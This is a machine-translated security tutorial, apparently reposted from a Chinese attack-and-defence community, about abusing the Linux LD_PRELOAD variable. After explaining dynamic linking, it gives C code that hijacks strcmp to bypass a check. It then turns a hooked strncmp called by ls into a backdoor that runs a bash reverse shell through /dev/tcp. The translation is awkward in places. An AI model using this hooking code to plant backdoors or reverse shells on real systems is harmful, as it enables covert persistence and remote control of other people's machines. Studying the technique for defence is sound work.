In depth analysis of LD_ PRELOAD

One 、 Pre knowledge

LD_PRELOAD  yes  Linux/Unix  An environment variable of the system , It affects the runtime links of the program （Runtime linker）, It allows you to define dynamic link libraries that are loaded first before the program runs . This function is mainly used to selectively load the same function in different dynamic link libraries . Through this environment variable , We can load the dynamic link library and other libraries in the middle , Even covering normal function libraries .

1、 Links to programs

Program links can be divided into the following three types

• Static links ： Before the program runs, each object module and the required library functions are linked into a complete executable program , Then don't open it .
• load-time dynamic linking ： A group of object modules obtained after compiling the source program , When loading memory , Link while loading .
• Runtime dynamic links ： The target module obtained after compiling the original program , In the process of program execution, it needs to be used before it is linked .

Static link library , stay Linux The suffix of the following file name is  .a, Such as  libstdc++.a . Add the object code directly to the executable program when compiling the link .

Dynamic link library , stay Linux Next is  .so  file , When compiling the link, you only need to record the number of the link , Only when the program is running will the real “ link ”, So called “ Dynamic links ”. If there are multiple services using the same DLL on the same machine , Then you only need to load one copy to share in memory . therefore ,  Dynamic link library is also called shared library   Or shared objects .

Linux Specify the dynamic link library File name rules Such as the following ：

libname.so.x.y.z

• lib： Uniform prefix .
• so： Uniform suffix .
• name： Library name , Such as libstdc++.so.6.0.21 Of name Namely stdc++.
• x：  The major version number  . Indicates that the library has been significantly upgraded , Libraries with different major version numbers are Are not compatible Of . Such as libstdc++.so.6.0.21 The major version number of is 6.
• y：  Sub version number  . Represents the incremental upgrade of the Library , Such as adding some new interfaces . When the major version number is the same ,  High minor version numbers are backward compatible with low minor version numbers  . Such as libstdc++.so.6.0.21 The minor version number of is 0 .
• z：  Release No  . Represents the optimization of the Library 、bugfix etc. . The same major and minor version numbers , Between libraries with different release version numbers   Fully compatible with  . Such as libstdc++.so.6.0.21 The release version number of is 21.

Dynamic link library   Search path search sequence

• The dynamic library search path specified when compiling the object code （ Multiple search paths can be specified , Search in order ）;
• environment variable  LD_LIBRARY_PATH  Specified dynamic library search path （ Multiple search paths can be specified , Search in order ）;
• The configuration file  /etc/ld.so.conf  The dynamic library search path specified in （ Multiple search paths can be specified , Search in order ）;
• Default dynamic library search path  /lib;
• Default dynamic library search path  /usr/lib;

But it can be found that , Here we will use the environment variables LD_PRELOAD It doesn't appear in the search path here , Instead, a LD_LIBRARY_PATH, The relationship and difference between the two are  stackoverflow  There are also big guys discussing , There are many views , But here I agree with the following view

LD_PRELOAD (not LD_PRELOAD_PATH) Is a specific library to load before any other library ( files ) A list of , Whether or not the program requires .LD_LIBRARY_PATH  Is to search when loading a library that will be loaded anyway   Directory listing .  stay linux On , You can read  man ld.so  More information about these and other environment variables that affect dynamic linkers .

so , here LD_PRELOAD Even beyond the search path sequence of dynamic link library , It can specify the dynamic link library that is loaded first before the program runs

Two 、 utilize

In my understanding ,LD_PRELOAD In fact, it is also a kind of code injection , The way of knowledge injection and universal Web The way of end injection is different .

1、demo

We rewrite the functions called during the program running and compile them into dynamic link library files , Then we control the environment variables to make the program load the malicious dynamic link library first , And then realize the malicious function we wrote in the dynamic link library .

The specific operation steps are as follows ：

1. Define a function , Name of function 、 Variables and variable types 、 The return value and return value type should be completely consistent with the function to be replaced . This requires us to look through the corresponding manuals before writing the dynamic link library .
2. Will write c The file is compiled as a dynamic link library .
3. Yes LD_PRELOAD And retrograde setting , The value is the library file path , Next, you can hijack the original function of the objective function
4. End the attack , Use command unset LD_PRELOAD that will do

This attack method can be used in any language , We use one here C Linguistic demo Let's test .

whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

Let's write a dynamic link library , The objective function is determined here strcmp function  

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

Because we passed LD_PRELOAD Hijacked the function , After hijacking, a new process was started , If you don't cancel before the new process starts LD_PRELOAD, Will fall into an infinite loop , So you have to delete the environment variable LD_PRELOAD, The most direct is to call  unsetenv("LD_PRELOAD").

If you enter anything successfully, you will be prompted correctly

At this time, we have hijacked strcmp function .

2、 Make the back door

In the operating system , The commands under the command line are actually driven by a series of dynamic link libraries , stay linux We can use readelf -Ws  Order to see , At the same time, the path of system command storage is  /uer/bin

Since they all use dynamic link libraries , Then suppose we use LD_PRELOAD Replace the dynamic link library that the system command will call , Then can we use the system command to call the dynamic link library to realize what we wrote in LD_PRELOAD The execution of malicious code in the malicious dynamic link library in ？

This is the principle of making the back door , Here we use ls As an example

  Let's choose a link library that is easy to operate , Select to  [email protected]_2.2.5

So our ls At the same time, by calling system Called id command

hook_strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    //  Here, the definition of the function can be determined according to the error information 
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

Now that you have called id, Then we can use the execution command here to bounce a shell

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    //  Here, the definition of the function can be determined according to the error information 
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

 

Successful rebound shell .

Reprint ： Qianxin attack and Defense Community - In depth analysis LD_PRELOAD

（SAW：Game Over！）